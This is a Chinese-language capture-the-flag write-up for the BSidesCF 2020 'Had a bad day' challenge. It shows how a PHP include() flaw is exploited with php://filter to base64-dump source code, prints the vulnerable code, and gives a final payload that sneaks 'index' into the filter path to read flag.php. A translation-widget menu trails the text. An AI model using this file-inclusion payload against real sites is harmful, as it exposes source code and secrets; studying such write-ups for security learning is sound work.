[BSidesCF 2020]Had a bad day 1--PHP伪协议

首先先打开主页，审查代码，并没有什么特别的地方
使用dirsearch，发现flag.php
打开什么都不显示
网页下又两个按钮，从源代码来看，会将两个属性--"woofers"和"meowers"通过get方法传递，通过修改属性发现网页不显示
当输入标点符号发现报错

使用了include函数，想到使用php伪协议
使用php://filter读取一些源代码

```
category=php://filter/read=convert.base64-encode/resource=index.php
```


报错，发现.php重复了两次，推测源代码对输入进行了拼接

```
category=php://filter/read=convert.base64-encode/resource=index
```
可以正常读出，网页中的php代码为

```
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
```

```
category=php://filter/read=convert.base64-encode/resource=flag
```
尝试使用伪协议读取flag.php
发现不显示
审查php代码
可以发现当get传入的参数不包含"woofers"、"meowers"、"index"则会跳转到else，所以无法直接读取，必须在变量中插入"woofers"、"meowers"、"index"
最终payload
```
category=php://filter/read=convert.base64-encode/index/resource=flag
```

TRANSLATE with x

English

Arabic	Hebrew	Polish
Bulgarian	Hindi	Portuguese
Catalan	Hmong Daw	Romanian
Chinese Simplified	Hungarian	Russian
Chinese Traditional	Indonesian	Slovak
Czech	Italian	Slovenian
Danish	Japanese	Spanish
Dutch	Klingon	Swedish
English	Korean	Thai
Estonian	Latvian	Turkish
Finnish	Lithuanian	Ukrainian
French	Malay	Urdu
German	Maltese	Vietnamese
Greek	Norwegian	Welsh
Haitian Creole	Persian

 

TRANSLATE with

COPY THE URL BELOW

Back

EMBED THE SNIPPET BELOW IN YOUR SITE

Enable collaborative features and customize widget: Bing Webmaster Portal

Back